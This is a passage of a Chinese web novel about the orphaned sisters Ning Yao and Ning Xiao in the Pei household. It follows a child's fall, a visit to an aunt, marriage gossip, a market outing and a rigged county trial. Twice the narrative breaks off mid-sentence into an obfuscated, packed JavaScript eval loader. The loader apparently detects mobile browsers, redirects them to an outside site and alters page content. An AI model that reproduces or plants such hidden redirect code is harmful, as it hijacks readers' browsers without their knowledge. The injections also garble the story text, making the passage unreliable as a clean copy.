“怎么?”裴台熠见她一直问,便反问,“你想来跟我一起过年?” “不可以呀?”宁窈眨着眼睛,澄澈的眼眸狡黠地忽闪忽闪。 她来这里这么久,几个表哥总捉弄她,表姐妹们也老阴阳怪气。 裴吉算是她唯一的朋友。 “随你。”裴台熠淡淡地说。 “好哦。”宁窈低着头偷笑,眼睛亮晶晶地看她的兔子灯。 裴台熠垂眸看了提灯少女一眼。 他是不会盼着她来的。 眼下离除夕还有几日。 裴家过年声势浩大,宴会结束后那么多好吃的好玩的。 等热闹完了,许的承诺也不会记得。 他若心怀期待,反倒令人发笑。 “我回去啦。”到了家门,宁窈跟裴台熠告了别,提灯飞快往家中跑。 今晚她贪玩了,在外面待得太晚,不知宁晓和姆妈两人在家还好不好。 还没进门,就听见屋里一阵吵吵闹闹,似是出了什么事。 “宁晓!”宁窈拔腿就奔进屋。 宁晓坐在小椅子上,一群人将她围着。早晨宁窈亲手扎好的辫子歪在一边,目光有些呆愣愣的,时不时抽了抽小鼻尖。不幸中的万幸,她的露出来的白头发被一层黑发遮上,看不大出来。 “没事没事,就是在外面摔了一跤。”姆妈安慰道。 姆妈挽起宁晓的裙摆,给宁窈看她摔出来的伤口。 那藕节似的小腿破了一道口子。 “怎么搞的。”宁窈拧眉。 宁晓的体质破一道口子,就会血流不止,费好大劲儿才能止住血。 宁晓疼得脸都白了,还满头大汗地对宁窈说:“不疼不疼。” “都这样了还不疼?”宁窈皱眉说。 宁晓低头冲血口子吹了两口气,奶声奶气地说:“吹吹就不痛了,痛痛飞飞!” “我来吧。”宁窈心酸地从姆妈手里接过毛巾和棉布,蹲下身帮宁晓处理伤口。 她忍着心头酸涩,也对着妹妹血淋淋的伤口轻轻吹了吹:“痛痛飞飞。” “痛痛飞飞!”两个小姑娘相视一笑,眼睛里都带着泪花。 哄宁晓睡下,宁窈掩了门,单独问姆妈:“今晚到底是怎么了?宁晓不是那种爱乱跑的孩子。” 方才无论她怎么旁敲侧击,宁晓始终不肯说发生什么了。 姆妈说:“具体怎么回事,我也不知。今天也就在院子门口站了一会儿,再一回来,就这样了,那四房的小少爷也在,坐在地上,似乎也摔着了。见到我就跑了。哎,都是我不对,我不该分这个神的。” 原来跟四房有关。 她最担忧的,还是四方的表少爷究竟有没有看见宁晓的白发。 若他真看见了,可会向父母告密? 她那几个舅母,二舅母佛口蛇心,三舅母刀子嘴豆腐心;唯有这个四舅母甚少走动。 看来明日要去四舅母那儿登门一趟。 14. 化解 床榻上宁晓睡了过去,小脸红扑扑的,苍白的头发披在被褥外。 姆妈进来送了封信,那信上盖了鸡黄色邮戳。宁窈眼睛亮了亮,“可是化真先生的信?” 化真先生是母亲的师父。 医术造诣之高超,甚至在她母亲之上。 但技艺越高明之人,往往恃才傲物。 化真先生也不例外。 她自从到了京城就四处打听化真先生的下落。 只听闻他云游去了,留了间空医庐,至今音讯全无。 书信展开,信上落了寥寥两个字—— “不收。” “信上写的什么?”姆妈关心道。 宁窈读完信,笑盈盈地取了纸笔来。“化真先生说,不收。” “哎,好不容易盼到回音了,结果还是拒绝。”姆妈不由叹息。 但却见宁窈并不沮丧,反倒兴致昂扬,便问:“这化真先生不愿收徒,窈小姐怎么还这般高兴?” 宁窈给姆妈看那信戳,笑着说:“只要有回应就好办。您瞧这邮戳。这是京城驿站才有的。化真先生回来了。” 化真先生人此时已在京城,只是不知他隐姓埋名在何处。得想个办法将他逼出来。 宁窈在灯下思索片刻,又新修了一封书信。 再给宁晓掩了被角,方才睡去。 * 翌日一早,宁窈给宁晓穿好衣,梳好小辫,便捧着礼盒去到四舅母房里。 小孩子之间有些小摩擦,这事儿可大可小,全看双方父母是什么态度。 四舅母钱氏娘家是商贾之家。先帝在时便是皇商,给后宫妃嫔们供送药材。宫变后她家又提前听到风声站对了队,平稳过渡,一朝天子一朝臣的刀子没挨到他们身上,照例给皇宫供送药材,仍然富贵滔天。 钱氏是从金子堆里出生,有些清高,不喜裴家迂腐的弯弯绕绕,跟另二位舅母走动甚少。 她膝下只有一个儿子。听说那小孩幼年时身体不大好,所以取了个土名,叫裴小甘,只盼他日后能不吃苦涩的补药,只吃甘甜。 昨日小厮送裴小甘一回来,就跟钱氏说了在表小姐屋门口发生的插曲。 这事儿一听,铁定就是裴小甘推宁晓了。 钱氏是个脾气大的,问也不问,就将裴小甘训得直哭。 裴小甘有哭说不出,只能垂头挨骂,眼睛里蓄满了泪。 “我怎么教你这么个孬种?还欺负小姑娘,你是不是个男子汉?我钱钰就养出你这么个玩意儿?” “娘……”裴小甘想解释。 “别叫我娘,我没你这么个儿子。”钱钰直接打断。 裴小甘从善如流,改口:“钱阿婶。” 钱钰一口茶喷出来,呛得直咳。 “夫人,”这时婢女从外面进来通报,道:“窈姑娘到了,正在外面候着。” 钱钰闻言,立刻瞪了裴小甘一眼,道:“瞧,人家上门来问罪了,老实到后面坐着去,待会儿给我背根荆条出来。” 将裴小甘赶到屏风后,钱钰忙吩咐人快将宁窈请进来。 须臾,便见宁窈从门外进来。一身粉裙,披着纯白色兔绒斗篷,斗篷上一圈绒毛落了雪,一抖动,便落在她那乌黑的发鬓上。她从斗篷的兜帽里抬起脸,彬彬有礼地向她行礼,“四舅母。” 看着这张熟悉的脸庞,钱钰顿时眼眶泛红。 君子之交淡如水。 她和裴容的情谊,没有旁人知道。 当年她刚嫁到裴家,裴容还未出嫁。 妯娌之间起龃龉是常有的事。 但她和裴容却没有红过脸。 有一年她生了大病,还是裴容这个小姑子在她跟前衣不解带的照顾。 后来她送裴容出嫁,见她那镇守南疆的夫婿在战马上器宇轩昂,意气风发。两人郎情妾意郎才女貌,无不般配。那日十里红妆相送,沿途百姓无不艳羡。本以为是一段美好故事的开篇,没想到已经是尾音了。 如今看着与裴容九分相似的容貌,再联想裴容病逝,宁差战死,钱钰多少对这个裴容留下的孩子动了恻隐之心。 她按了按眼角,拭去泪水,道:“窈姑娘来了,快过来坐。” 钱钰拉着宁窈到自己身边坐,“窈儿是为了昨日的事来的吧。” 宁窈乖巧懂事,钱钰对她用不了对裴小甘的大嗓门,有意将语调放柔和了几分。 “是。”宁窈道:“我妹妹尚年幼,身体也弱,平日一有磕碰,我便担心的不得了。昨日不知怎么了,似乎跟小表弟一起在门口跌了一跤。” 宁窈没咄咄逼人的质问,反倒让钱钰有些心虚。 “裴小甘。”她扭脸就将裴小甘从屏风后唤了出来。 宁窈跟着回头。 帷幔后,走出一名和宁晓年纪相仿的小少年,面皮白,五官清秀,显得眉目清淡,他方才应该在习字,手上的墨蹭了一小块在下巴上。模样看起来有些虎头虎脑,不像是会欺负年纪小的弟弟妹妹。 “这是你宁窈表姐。”钱钰说。 “表姐好。”裴小甘有模有样地向宁窈行礼。 他两只手直搓,有些紧张,似是怕她兴师问罪。 “昨日你是不是欺负晓妹妹了?”钱钰劈头盖脸地就又是一通训斥,“还不跟你窈表姐好好道歉。” “我,我……”裴小甘喏喏。 昨日他真的没欺负宁晓,但是他被母亲和宁窈两人这么死盯着。脸皮一涨,羞赧得什么话也说不出来了。 “你这性子,真随了你爹,三杆子打不出一个屁!”钱钰气骂道。 宁窈见状,便知裴小甘并没有看见宁晓的白发,不由松了七分气。 但有矛盾还是要解决,既不能让宁晓白受委屈,也不能不依不饶。 她目色一扫,就见裴小甘身后的小案几上,摆了几幅他刚写好的字。而宁晓也已经到了识字开蒙的年龄,还不会写字,但认得一些简单的汉字。 宁窈转念一忖,心中便有了主意,笑道:“小甘表弟若是不愿意说,那便不说。 裴小甘有些意外地看着她。 宁窈道:“小甘表弟并不是让我跌倒,不必勉强向我道歉。但你若想向你晓妹妹道歉,可以直接与她说。只是晓妹妹胆子很小,你若愿意,可修一封信,在信中表达你的心意,我再将信带给她,表弟觉得如何?” 钱钰听完,对宁窈更加欣赏。 一个小辈,今日是来说理,态度若硬了,叫她这个做长辈的下不了台;态度软了,又让自己相依为命的妹妹受了气。结果就这三言两语的,没吵起来不说,让两个小的和好了,实在是进退得度。 钱钰便斥道:“听到了吗?还不快去写!” 宁窈道:“你可愿意?” 裴小甘有些犹豫又有些期待地眨了眨眼。 半晌,缓缓地点了点头,“好。” 裴小甘滚到屏风后写信时,钱钰又挽着宁窈坐了一会儿。 钱钰也为自己的孩子说了几句好话,道:“小甘是我孩子,但我绝不是偏袒。他虽然混,但不会无缘无故欺负弱小。但凡他有这个苗头,我早打折了他的腿。他让晓姑娘跌跤,多半是无心之失。” 宁窈道:“我也是这么推测。两个小孩儿的事,就让两个孩子自己解决吧。” “对,说开了也就没事了,都小孩子,有什么隔夜仇?”钱钰拉着宁窈继续吃点心品茶。 宁窈仔细吃着钱钰送来的点心和香茶,白如削葱的玉指捧着一盏青瓷茶杯,吃相也佳,只是现在年岁还小,不敢想象再过一两年,这朵娇艳的桃花开了,该多迷人。 宁窈已经到了及笄的年级,许婚约就是眼前的事。裴老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“还不是因为你闹到他眼皮子前了,”二舅母扶着心口道:“那是个心狠手辣的,你碍着了他的眼,他能让你好过?” 裴远垂头丧气地低下了头来。 “你知不知道他还跟你祖母说什么了?他说要把你扔到军营里去! “军营那是什么地方?刀尖上滚肉!里头还有一帮荤素不忌的混子,你这细皮嫩肉的去什么下场?能活着回来?一天天只知道逛窑子,到时候你就是全军营的窑子。” 裴远吓出了一身冷汗,捂了捂自己的屁.股,讪讪道:“娘,哪儿有你这么说自己儿子的?您就是吓唬我吧?还扔军营,他,他怎么不说把我扔去九幽司呢……” “九幽司你也配去?”二舅母继续骂:“人家九幽司不挑一挑?是肥是瘦都要?那儿的人是掐尖儿的掐尖儿。你军营都活不下去,还九幽司。” 裴远越听越知道这事儿是真,不是他娘在编瞎话吓唬他。 “娘,不会真要我去吧?”裴远哀求道,“娘,您可要救我。” 二舅母道:“行了行了,我在你祖母跟前哭了一宿,算是把这事儿给哭走了。暂时不会将你扔过去。但这几日你皮给我绷紧了。” “我这还不晓得?”裴远道,他又松了口气,说:“我虽说话得难听,但也没说错什么,是娘您自己说的,宁窈以后就是给我准备的。” 宁窈手里有她母亲的遗产,裴远又喜欢她。二舅母盘算着,若让裴远将宁窈娶过来,这份钱自然而然就到他们手上来了。 “那你也不能说出来啊!”二舅母恨铁不成钢地骂道:“嘴巴给我闭好了,娘给你计划好就是了。” “我就知道。”裴远重新得意起来。 二舅母又训了裴远一会儿,裴远一颗贼心死了又活了方才结束。 15. 表小姐的婚事 除夕前又落了场雪,裴老太太身体抱恙,白日里不再叫众人进屋请安。裴台熠听闻,一从宫里回来,便去到裴老太太屋里探望。 屋里生着暖炉,裴老太太散了屋里人,裴台熠为哄老太太欢心,半跪半坐在老太太跟前,就如寻常人家的祖母和孙儿。裴老太太怜惜地为他摘了面具,又摸了摸他发鬓处被捂红的皮肤,怜惜道:“孙儿呀,这劳什子面具,就要一直戴着么?不能摘下来?这么日日捂着,人该是要捂出病来。” 裴台熠闻言一笑了之。为了讨老祖母开心,那两道凌冽的眉宇间,难得不见肃杀冷峻的戾气,就像位在祖母膝下欢闹的稚朗少年。他回道:“圣上多疑,九幽司的面具一旦戴上,就不可摘下。这么多年了,不都这么过来了。” 裴老太太惦念着裴台熠的婚事,道:“熠儿属虎,算起来今年也二十了,这放寻常人家,是要开始说亲的。圣上可给你指婚了?” 裴台熠又笑,有几分嘲弄。他这种人,娶什么亲? “祖母,您知道我不喜欢听这些。” “好好,”裴老太太道:“难道你来一趟看我,我这老婆子就不在你跟前说你不爱听的。”裴台熠又问过裴老太太最近吃的药,药效好不好。一提起药,裴老太太便说到了宁窈。 “我这病是老毛病了。还记不得你那小表妹?她来给我瞧了瞧,换了几服药,又每日来给我推拿。还真起了作用。” 一提到宁窈,裴老太太又是百感交集:“那孩子真是个,哎,又可怜,又懂事。推拿可是个力气活,做一次,那要出一身的汗,我叫她别来,她还日日来,一推就个把钟头,弄得一身是汗。” 裴台熠静静听着,没开口,也没流露出厌烦之色。 在心中暗道: 果然是个傻的。 细胳膊细腿,还做力气活。 裴家一屋子老妈子老婆子,就不会使唤一个? 裴老太太话匣子打开,裴台熠又不转移话题,她便自顾自地说了下去,“算起来,她也及笄了,这孩子的婚事,也是我心里头的一根刺。昨日茶宴上,那阎家公子不是来了。我瞧着吧,阎家同我们裴家,门第相当,那阎关山也有几分才情,样貌也俊,两人郎才女貌,估计不错……” 裴台熠半晌不动声色,听到这儿,蓦地开口了,淡淡冷笑了一声,道:“般配?一个温顺不知自保;一个精明市侩会算计,更不用说那阎关山上头还有个厉害的老母亲。这两人推做一对,不叫郎才女貌,叫灾难。” 他虽不曾同阎关山共事,但却认得阎关山他爹。 常言道,龙生龙凤生凤,老鼠生的会打洞。 阎关山他爹就是个老油子,最会玩春秋笔法,养的儿子多半也是个伪君子。 他是看不上的。 裴台熠说罢,裴老太太有些意外地瞧了他好一会儿,道:“这树老根多,人老话多。我这老太婆刚刚念叨了这么久,还怕你嫌烦,没想到你对宁窈的婚事,是有几分关心。” 裴老太太并不知裴台熠在宁窈面前玩的把戏,只觉得甚是欣慰。到了她这个岁数,已经开始盘算自己的后事了,能否像当年送裴容出嫁一般送宁窈出嫁,还是个未知数。 待她驾鹤西去,这裴家里里外外,就是看裴台熠的脸色。而裴台熠自幼被抱去了宫中,对家中兄弟姊妹感情凉薄,她正担忧到时候裴台熠不会管那几位小辈的死活。现在看来他对宁窈的婚事有几分认真,也算松了口气。 “那……”裴老太太试探道:“宁窈那丫头的婚事,熠儿你怎么看?心目中可有什么合适的人选?” 裴台熠浓密漆黑的眼睫垂下,去瞧屋中烧得发红的黄铜炉中暗红色的炭火,修长苍白的手握着铁钳,缓缓拨动铜炉内的将灭未灭的火苗,屋外白雪正静谧无声地飘落。 “不急,”半晌,他回答道:“再说吧。” * 从四舅母这边回屋,宁窈将裴小甘的信带给了宁晓。 “小晓,过来。” “姐姐!”宁晓小旋风一样奔出来迎接她。 宁窈将信放在宁晓的手心里,“这是昨天在院子里看到的小哥哥给你写的信。他在信中给你道歉了。这封信呢,你可以自己看,如果你看了之后愿意将昨天的事告诉姐姐,就来找姐姐,跟姐姐一起分享。但如若不愿意,就将信藏好,这是你的第一个小秘密了。” 宁晓懵懵懂懂,她接过信,神情又激动,又紧张,用力地点了点头。 宁晓拿着信坐到小板凳上,认认真真地看了起来,小手还戳着信上的字,活似个小学究。 宁窈忍俊不禁,也坐回桌前翻医书。 姆妈推过灯来,在一旁陪着她忙针线活,苦口婆心道:“窈姑娘啊,过了这个年,裴家可是就要操办起你的婚事了。这事儿耽搁不成。” 宁窈道:“我也听说了,姆妈,过完年我们就从裴家搬出去吧,在天子脚下开个小药庐,总归不会饿死。” “莫说孩子话了,”姆妈改了针,说:“女人这辈子,就是奔着嫁个好男人去的。若小姐、姑爷还在,您是宁家的千金大小姐,您的婚事小姐姑爷一定会给你挑个好夫婿。可怜小姐姑爷走得早,现在就无人替你张罗,你得自己为自己做好打算。” 宁窈有些头痛地按了按太阳穴。 姆妈将眼下的局面掰开了揉碎了给她一点点分析:“裴家一共有七个女孩儿,她们的娘亲,可不是省油的灯,这城里有什么好的,她们不自己抢过去,会留给你? “那位阎家少爷,听说二房的两位姑娘都喜欢,咱们跟她们争不过来的,所以这高枝,咱们要不来,也不指望。不过裴家几位表少爷,我觉得还是有戏。 “大房那位,属虎的,比你长四岁,你俩人寅午半合火,从命上看,配你倒是正好。可惜他是裴家的嫡长孙,又已经封了侯,位置高了太多,没什么指望。但咱们也不贪他什么。他干的那档子营生也不好,损阴德!如今瞧着花团锦簇,如日中天,指不定哪里就跌下来了,到时候踩他的人可会下狠劲儿呢。不是良配,不是良配。 “再说你二表哥,你二表哥比你大一岁,年龄也还好,他是次孙,现在虽然还没官位,但听说他会念书,写了一手好文章,明年考科举,探花郎是囊中之物。他若喜欢你,愿意娶你,裴老太太现在人又在,能为你做主,这事能成有七分胜算。” “姆妈,您别说了,”姆妈的唠唠叨叨,叫宁窈一个脑袋两个大,她叹气道:“我这么多人,我听都要听晕了。我就不能,嫁个我爱的,爱我的?” “你想找爱你的?”姆妈笑了起来。 宁窈认真地点了点头,“对。我也爱的。” 姆妈道:“我是过来人,男人是不会爱人的,你想找爱你的男人,就像找一条长了腿的鱼,压根就没这玩意儿,你执着个什么劲儿?还不如找只长了腿的猪,至少还有肉吃。” 宁窈被姆妈的话给逗笑了,道:“都说饿了。” “饿了?”姆妈收拾了针线,道:“姆妈给你炖碗鸡汤去!” “好!” 宁窈帮着姆妈将桌上的东西收拾起来,准备吃顿宵夜。 一个虚无缥缈的念头,忽地从她脑子里一闪而过。 她想到“裴吉”帮她罚抄时不耐烦的侧脸,看她点祈愿灯时执着漆黑的眼睛。她的脸涨了涨,微微有些发热,又有些羞赧。她轻轻吞咽了一下,装作无疑地问:“姆妈,我真的只能嫁给裴家的表哥么?我不喜欢他们。其他男子可不可以?比如,比如侍卫什么的……” 说到这儿,宁窈差点咬着自己的舌头。 女孩子自己谈论自己的婚事,总归是难为情的。 “侍卫?”姆妈不假思索道:“侍卫倒也是份官差,每个月按时拿俸禄,旱涝保收。虽比不得什么大官,但也好过嫁到大官家里跟一群姨娘斗,平平安安的,也是不赖……” 说到这儿,姆妈忽地一顿,扭头叉腰瞪她,道:“窈小姐,你可莫要在外面认识一些不三不四的人。裴家的几个表哥,再怎么那也是知根知底的。” 宁窈心虚道:“我知道的……我就帮我朋友问一问。” “知道就好。”姆妈又千叮嘱万嘱咐,方才出去为她炖鸡汤,“如今民风开放,男女之间也没什么大忌讳的。你若想交朋友,姆妈也不多说什么,你自己多个心眼。窈姑娘在京城交到新朋友了,这真好,日子是真的要好起来了。” 宁窈说:“是呢,我过年想请他来家里玩,一起吃年夜饭。” “那当然好。”姆妈一口答应下来,她也想瞧瞧,这人到底是个什么“朋友”。 “姐姐,姐姐!”这时宁晓拿着信,从屋里跑了出来。 “看完啦?”宁窈笑着问。 “看完了!”宁晓眼睛忽眨,道:“我想跟姐姐分享我的秘密。” 她珍重地将信递到了宁窈手中。 宁窈心软成了一片。 宁晓是这么的依赖着她,毫无保留地,将自己的一切都与她一同分享。 她眼睛发涩,将宁晓抱到了自己腿上,两小姐妹一同在灯光下看信。 “信上写的是什么?” 裴小甘的字写得十分稚嫩,还有些字并不会写,便用图案代替。只有同龄的宁晓才能看懂。 宁窈读了一遍,其中一道图案如何都理解不了。 她指了指上头一只黑漆漆的墨点,问宁晓:“这是什么?” “这个是蟋蟀。”宁晓奶声奶气地说。 “蟋蟀?” 为什么道歉的话里会有“蟋蟀”两个字出现? 宁窈抱着一肚子疑惑,重新将蟋蟀这两个字带回句子里,这终于明白了裴小甘的意思—— “对不起,我不该拿蟋蟀吓你。我只是想找你顽。” 最后这个“顽”,是个别字。 他应该是想写“玩”。 宁窈终于捋清楚了事情的来龙去脉,“所以昨晚裴小甘想来找你玩,所以送了你一只蟋蟀,你害怕虫子,所以摔着了?” 宁晓愧疚地点了点头,又摇了摇头。 “不怕蟋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357758|152801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蟀,我每天都跟蟋蟀一起玩,”她奶声奶气地说,“我怕,被发现。” 她指了指自己毛茸茸的碳粉褪色的半灰半白的头发。 明亮的眼眸上有一圈白色绒毛,像一只要融化的小雪人。 宁窈眼眶猛地一酸,几乎要掉下眼泪来。 她心中不是滋味,宛若压了千斤的重担。 “好了,现在没事了。”她悄悄拭去眼角的泪,吻了吻宁晓的额头,又摸摸她的头,“玩去吧。” “嗯。” 宁晓第一次收到信,甚至是第一次和除宁窈、姆妈之外的人接触。她一整晚都十分兴奋,从椅子上蹦下来,满屋跑来跑去。她尤其喜欢宁窈从集市上给她带回来的兔子灯,那灯被她玩得太久,已经快破碎了。 宁窈这晚没看医书,在看妹妹。 宁晓这个年龄,正是爱玩爱笑的时候,却因为这病一直在躲躲藏藏,连前院都不敢出,见到人就跑。不知道什么是集市,什么是庙会,连只寻常的小兔子宫灯也没见过,才会这么当个宝贝。也没有一个小伙伴,所以见到同龄的孩子,第一反应不是上前交朋友,而是拔腿就跑,叫自己白白跌了一大跤。 她总说,自己一定会治好妹妹的病。 可是一日两日三日四日,遥遥无期之后是遥遥无期。 她要让宁晓就这么在没有尽头的等待里,和虚无缥缈的期望里一天天长大吗?她这个姐姐,究竟是怎么当的。 宁窈想了一整宿,终于在心里悄悄做好一个决定,给玩累熟睡过去的宁晓掩好了被角。 * 翌日一早,宁晓打着哈欠起床,顶着乱蓬蓬的白头发,就到处找姐姐,“姐姐,姐姐。” 姐姐不在屋里。 宁晓自己乖巧地下了床,就看见桌上放了一件猩红色的羊毛绒小斗篷。那斗篷的帽子上有一圈白色绒毛,可爱极了。小斗篷旁边还有小背包、小水壶、小点心和小水果。 这是谁的东西? 宁晓好奇地缓缓瞪大眼睛。 姐姐的?可姐姐用不了这么小的呀。 “小晓,”这时宁窈和姆妈从外面进来,宁窈对她说:“试试这身小斗篷合不合身。” “好!”有新衣服穿,宁晓高兴得像只花蝴蝶。小斗篷套上去,刚合身。帽子上的那一圈白色绒毛尤其好,正好能挡住她的头发。即便她头发上的碳和墨水掉了颜色,也不会被马上发现。 “穿得真好看。”宁窈笑着说,又给她背上小背包、提上小水壶。打扮好后,活脱脱一个小布偶娃娃。 “姐姐,为什么今天要穿新衣服呀?”宁晓好奇地问。 宁窈镇定地说:“因为,今天姐姐要带你出门。” 宁晓:“!!!” “窈小姐,”对此姆妈还是有些忧心忡忡:“要不还是算了吧,这事儿我还是有些担心。你们两个人出去逛市集,要是晓姑娘被人发现了……” 姆妈的担心,何尝不是宁窈的担心。但宁晓要是永远被关在一隅这么过一生,即便不被人发现,又有什么意义? “你看这小帽子,刚好把头发遮住了。谁会发现?”宁窈反过来安慰姆妈,说:“您就别担心了。” 宁窈也不敢带宁晓走得太远。 所以今日的出门范围,仅仅只是院子门口的市集。走过去再走回家不过一炷香的功夫。 宁窈捏了捏宁晓的手,带着她在市集上慢慢转悠。“手要牵好。” “好。”宁晓刚开始还有些胆怯,将宁窈的手抓得紧紧的,黑漆漆的眼珠子滴溜溜直转。她们从金筑一路过来,宁晓都没下过马车,市集上这么些好吃的好玩的,她都只能悄悄从窗户缝里看。现在终于真真切切地见到了。 又逛了一会儿,宁晓渐渐放松下来,她看见临街店铺在卖刚出炉的点心。闻起来好香,好想吃哦! “白糖糕,新鲜发的白糖糕哟!”洪亮的叫卖声传来,食客们蜂拥而至,宁晓握着宁窈的手不觉松开了。 “来个白糕。” 那小伙计揭开锅盖,白润润的糕点摆了一圈。“好嘞,客官要什么口味的?我这儿有啊:山药、白芋、糯米、红糖……” 小伙计口条顺溜,唱曲儿似的就报完了菜单。这也是他们店一大特色。 “来个红糖的。” “好咧!一个红糖,三文钱!客官,您请好!” 宁晓在人群中被挤来挤去,她不仅想吃那白糖糕,还想让姐姐也吃。 她鼓起勇气,也学着其他人的语气,说:“我,我也要一个白糖糕。” “好咧!糯米糕,三文钱!小客官,您请好咧!” 新鲜出炉的小点心放到宁晓的手里,宁晓兴奋得小脸通红。不是因为这糕多香多甜,而是因为她今天上市集了,还买到了小点心。 “姐姐,姐姐吃糕。”宁晓捧着白糖糕,转身要喂给宁窈。 “姐姐……” “姐姐……”宁晓慌慌张张地找姐姐。 然而她的身后,全是一张张陌生的面庞。 16. 破绽 宁窈一转身没看到妹妹,惊出一身冷汗。 她强迫自己迅速冷静下来,一头挤进正在看热闹的人群中。 宁晓像只可怜兮兮的小老鼠,抱头缩在地上,卖东西的小贩指着她大骂: “小偷,不给钱的小偷,不给钱还偷吃的小偷!报官报官!” 宁晓不知道买东西要给钱,吓得哆哆嗦嗦。即便在这节骨眼上,她仍努力用小白手抓紧帽檐,牢牢记着姐姐的叮嘱,绝不能让人发现自己的白头发,口中小声哽咽,“姐姐,姐姐……” “小晓,”宁窈冲过去一把就将宁晓抱在怀里,“别怕别怕,姐姐来了,姐姐在这里。” 宁窈忍下气,从怀中掏出钱袋,递与那小贩:“方才我妹妹吃了你家多少东西?钱我来付。” 宁晓轻轻拽了拽宁窈的裙摆,很小声地说:“姐姐,我没吃。” 她只拿了一只白糖糕,但很快就因为没付钱被抢走了。 “没事没事,”宁窈拍了拍宁晓:“姐姐付钱就好了。” 宁窈已经提出赔钱,小贩却依然不依不饶:“今天你来吃不给钱,明天我来吃不给钱,那大家都不给钱好了。” “算了算了,”有围观食客看不下去,也劝道:“就一个小孩,也没吃你东西,至于这样吗?” “小孩怎么了?小孩就能吃东西不给钱?天子脚下还没王法了?” 耳边熙熙扰扰,宁窈心中已经有几分明白。小贩这么做,早就不是因为宁晓吃了东西不给钱,而是见宁晓是个没人跟着的小孩子,在借题发挥,作威作福。 “这小姑娘就是倒霉。”有知小贩底细的几位路人窃窃私语:“胡二麻是出了名的泼皮无赖,他舅舅又是当官的,更飞扬跋扈了。” 宁窈干脆钱也不给,直接起身,道:“既然如此,那就直接报官吧。天子脚下,我不信没有王法。” * 一阵低低的虎啸令大地震颤,冬日枯萎的树枝残叶纷纷落下,惊飞起一群白鹭。 一只威风凛凛、油光滑亮的幼老,正撕咬着它的第一只猎物——一只皮开肉绽,鲜血淋漓的野兔。 幼虎不急于一口吞下猎物,而是先残忍地与它玩耍着。 它舌头上布满倒刺,轻而易举地将肉从骨架上分离开来。这一幕能叫所有成年人胆战心惊,魂飞魄散。百兽之王,绝非浪得虚名。 阿寅分食午餐时,裴台熠款步走到它面前。 他抬手掐住它的下颌,苍白的指腹按压着那排沾血的森森然的虎牙。 威风凛凛的老虎崽子,在他修长而暗藏巨力的手指之下,仍然是一只可怜兮兮的傻猫。 裴台熠一颗一颗检查完阿寅的牙。 “换完了。”检查到最后一颗,他悠悠道,“装不了可爱了。” 阿寅最后一枚乳齿已经自然脱落。如今它硕大的身形、恐怖的尖齿,除了瞎子和傻子,已经再也不会有任何人,会将它和一只人畜无害的小狸奴弄混。 它的嗓子眼里还如小时候一样挤出嘶嘶的咕噜声。 这道声音宛如虎啸的前奏,听着只觉得心惊。 裴台熠抬起眼皮,朝墙角的小碗投去有些落寞的一瞥。 这只碗如今只有阿寅的半个虎掌大。 等她下次来,自然就会知道。 她下次什么时候来? 今晚? 明晚? “大人。”这时宁窈的婢女匆匆进来,向裴台熠禀报宁窈和宁晓出事,“是属下没保护好窈姑娘,属下该死,请大人责罚。” 裴台熠静静听着。 他缓缓直起身,垂眸用一块白帕擦拭去指尖的血,淡声道:“回来再领罚。” * 宁窈抱着妹妹进到县衙,还没说话,那小贩就大哭了起来,“清汤大老爷!您可要为我做主啊!我做小本生意,一天到头起早贪黑,也赚不到几个钱,结果这小姑娘,跑来白吃白喝!” 堂上县老爷周敛便是胡二麻的舅舅,胡二麻这泼皮隔几日就要闹这一通,他都习以为常,便睁只眼闭只眼。 宁窈正欲开口辩解,周敛大声呵斥道:“还想狡辩?你知不知道偷吃东西是犯法的。” 这时屋外匆匆进来两名衙役,轻声告知周敛,“大人,县衙门口突然来了辆马车。” 马车就马车呗。 县衙在街门口,日日人来人往车水马龙,还缺一辆马车? 周敛一脸不耐烦,那衙役压低嗓子,接着补充:“是,是辆黑色的马车……” 黑色的马车? 除了奔丧的灵车,京城就一辆黑色的马车。 而那辆车和灵车并无二异。 甚至,宁愿坐上灵车,都不愿坐上那辆纯黑色寅虎暗纹马车。 “他,他?”周敛登时冒冷汗,搜肠刮肚地想了一圈自己究竟做错了什么,能将那瘟神来招来。 “他,他怎么来了?他来做什么?” 衙役也不知。 这时有消息灵通的师爷悄声说:“堂下那位,姓宁,似乎裴家的三小姐夫家姓宁。” “那不就是,那位的……表妹?” “按族谱来说,应该是这个关系。” 周敛一张脸顿时又像哭又像笑,“他娘的个胡麻子,怎么给我招来了这么个事?” “现在怎么办?” 周敛用袖口擦了擦额角的汗,道:“先,先去我屋将我收藏的千年雪莲送过去孝敬。” 片刻,衙役空着手回了。 “送去了?”周敛问。 “送去了送去了。”衙役欣喜地说,“但是,”他话锋一转。 “你在这儿但什么但!” “但是那位,他人还没走……” 周敛闻言,都快掉下眼泪来。 “他可有说,他来做什么?” “他的护卫说他……”衙役咽了一口唾沫,道:“路过。” “我的老天爷啊……”周敛恨不得以头撞地。 “老爷,您看现在怎么办?” 周敛毕竟也为官了这么多年,当然知道裴台熠今日来,不可能真的就是“路过”。他又仔细一琢磨,九幽司要杀的官,至少都是二品往上走的大官。而他一个小小县太爷,惊动裴台熠降尊纡贵亲自动手,也是自己往自己脸上贴金了。 分析来分析去,唯一的可能,多半还是跟堂下的那位宁姑娘有关。 京城从未有过裴台熠好女色的传闻,但不好女色,不代表不好面子。那位宁姑娘既然跟裴台熠沾亲带故,那他今日叫宁姑娘难看,就是叫裴台熠难看,他自然要来敲打一番。 事态琢磨到这儿,周敛觉得基本已经明朗了,抱着一颗视死如归之心,道:“先审吧。” 